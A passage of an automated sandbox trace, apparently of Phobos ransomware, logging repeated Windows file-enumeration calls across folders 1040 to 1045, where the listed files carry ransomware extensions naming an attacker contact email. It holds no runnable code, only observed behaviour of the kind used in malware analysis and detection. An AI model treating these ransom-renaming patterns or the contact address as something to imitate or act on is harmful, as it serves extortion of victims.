lpFindFileData=0x3c3f138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed26d398, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed26d398, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed2935e1, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x4a62, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 1 [0124.288] FindNextFileW (in: hFindFile=0x7b5f60, lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed26d398, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed26d398, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed2935e1, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x4a62, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 0 [0124.288] FindClose (in: hFindFile=0x7b5f60 | out: hFindFile=0x7b5f60) returned 1 [0124.288] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0x36c4090 | out: hHeap=0xe70000) returned 1 [0124.288] FindNextFileW (in: hFindFile=0x7b5ee0, lpFindFileData=0x3c3f3bc | out: lpFindFileData=0x3c3f3bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="1040", cAlternateFileName="")) returned 1 [0124.288] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1040\\*", lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7b5e60 [0124.290] FindNextFileW (in: hFindFile=0x7b5e60, lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.290] FindNextFileW (in: hFindFile=0x7b5e60, lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeda79284, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xeda79284, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xeda79284, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0xf32, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="EULART~1.PHO")) returned 1 [0124.290] FindNextFileW (in: hFindFile=0x7b5e60, lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeda79284, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xeda79284, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xedcdb897, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x139c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="LOCALI~1.PHO")) returned 1 [0124.290] FindNextFileW (in: hFindFile=0x7b5e60, lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed26d398, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed26d398, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed436fd3, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x4862, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 1 [0124.290] FindNextFileW (in: hFindFile=0x7b5e60, lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed26d398, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed26d398, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed436fd3, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x4862, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 0 [0124.290] FindClose (in: hFindFile=0x7b5e60 | out: hFindFile=0x7b5e60) returned 1 [0124.291] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0x36c4090 | out: hHeap=0xe70000) returned 1 [0124.292] FindNextFileW (in: hFindFile=0x7b5ee0, lpFindFileData=0x3c3f3bc | out: lpFindFileData=0x3c3f3bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="1041", cAlternateFileName="")) returned 1 [0124.292] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1041\\*", lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7b5a20 [0124.293] FindNextFileW (in: hFindFile=0x7b5a20, lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.294] FindNextFileW (in: hFindFile=0x7b5a20, lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedcb57b8, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xedcb57b8, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xedcdb897, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x2882, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="EULART~1.PHO")) returned 1 [0124.294] FindNextFileW (in: hFindFile=0x7b5a20, lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedcdb897, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xedcdb897, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xedd01aa0, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x10b92, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="LOCALI~1.PHO")) returned 1 [0124.294] FindNextFileW (in: hFindFile=0x7b5a20, lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed2b98ad, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed2b98ad, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed436fd3, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x3e62, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 1 [0124.294] FindNextFileW (in: hFindFile=0x7b5a20, lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed2b98ad, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed2b98ad, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed436fd3, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x3e62, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 0 [0124.294] FindClose (in: hFindFile=0x7b5a20 | out: hFindFile=0x7b5a20) returned 1 [0124.295] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0x36c4090 | out: hHeap=0xe70000) returned 1 [0124.295] FindNextFileW (in: hFindFile=0x7b5ee0, lpFindFileData=0x3c3f3bc | out: lpFindFileData=0x3c3f3bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="1042", cAlternateFileName="")) returned 1 [0124.295] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1042\\*", lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7b5f60 [0124.296] FindNextFileW (in: hFindFile=0x7b5f60, lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.296] FindNextFileW (in: hFindFile=0x7b5f60, lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedcdb897, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xedcdb897, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xedd9a495, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x3282, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="EULART~1.PHO")) returned 1 [0124.296] FindNextFileW (in: hFindFile=0x7b5f60, lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedd01aa0, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xedd01aa0, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xedd9a495, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0xffe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="LOCALI~1.PHO")) returned 1 [0124.296] FindNextFileW (in: hFindFile=0x7b5f60, lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed436fd3, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed436fd3, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed48359d, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x3c62, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 1 [0124.296] FindNextFileW (in: hFindFile=0x7b5f60, lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed436fd3, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed436fd3, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed48359d, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x3c62, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 0 [0124.297] FindClose (in: hFindFile=0x7b5f60 | out: hFindFile=0x7b5f60) returned 1 [0124.297] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0x36c4090 | out: hHeap=0xe70000) returned 1 [0124.297] FindNextFileW (in: hFindFile=0x7b5ee0, lpFindFileData=0x3c3f3bc | out: lpFindFileData=0x3c3f3bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="1043", cAlternateFileName="")) returned 1 [0124.297] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1043\\*", lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7b5fe0 [0124.299] FindNextFileW (in: hFindFile=0x7b5fe0, lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.299] FindNextFileW (in: hFindFile=0x7b5fe0, lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedde6922, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xedde6922, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xedea5496, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0xed2, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="EULART~1.PHO")) returned 1 [0124.299] FindNextFileW (in: hFindFile=0x7b5fe0, lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedde6922, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xedde6922, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xede0cac2, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x13822, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="LOCALI~1.PHO")) returned 1 [0124.299] FindNextFileW (in: hFindFile=0x7b5fe0, lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed45d258, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed45d258, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed4a9715, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x4c62, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 1 [0124.299] FindNextFileW (in: hFindFile=0x7b5fe0, lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed45d258, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed45d258, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed4a9715, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x4c62, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 0 [0124.299] FindClose (in: hFindFile=0x7b5fe0 | out: hFindFile=0x7b5fe0) returned 1 [0124.299] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0x36c4090 | out: hHeap=0xe70000) returned 1 [0124.299] FindNextFileW (in: hFindFile=0x7b5ee0, lpFindFileData=0x3c3f3bc | out: lpFindFileData=0x3c3f3bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="1044", cAlternateFileName="")) returned 1 [0124.300] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1044\\*", lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7b5e60 [0124.301] FindNextFileW (in: hFindFile=0x7b5e60, lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.301] FindNextFileW (in: hFindFile=0x7b5e60, lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xede0cac2, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xede0cac2, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xedea5496, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0xce2, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="EULART~1.PHO")) returned 1 [0124.302] FindNextFileW (in: hFindFile=0x7b5e60, lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedea5496, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xedea5496, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xedef18e2, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x136d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="LOCALI~1.PHO")) returned 1 [0124.302] FindNextFileW (in: hFindFile=0x7b5e60, lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed96e30a, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed96e30a, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed994489, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x4662, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 1 [0124.302] FindNextFileW (in: hFindFile=0x7b5e60, lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed96e30a, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed96e30a, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed994489, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x4662, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 0 [0124.302] FindClose (in: hFindFile=0x7b5e60 | out: hFindFile=0x7b5e60) returned 1 [0124.303] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0x36c4090 | out: hHeap=0xe70000) returned 1 [0124.303] FindNextFileW (in: hFindFile=0x7b5ee0, lpFindFileData=0x3c3f3bc | out: lpFindFileData=0x3c3f3bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="1045", cAlternateFileName="")) returned 1 [0124.303] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1045\\*", lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7b5a20 [0124.348] FindNextFileW (in: hFindFile=0x7b5a20, lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.348] FindNextFileW (in: hFindFile=0x7b5a20, lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedecb876, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xedecb876, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xedef18e2, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x10c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="EULART~1.PHO")) returned 1 [0124.348] FindNextFileW (in: hFindFile=0x7b5a20, lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedef18e2, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xedef18e2, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xedf17afd, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x142d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="LOCALI~1.PHO")) returned 1 [0124.348] FindNextFileW (in: hFindFile=0x7b5a20, lpFindFileData=0x3c3f138 | out: 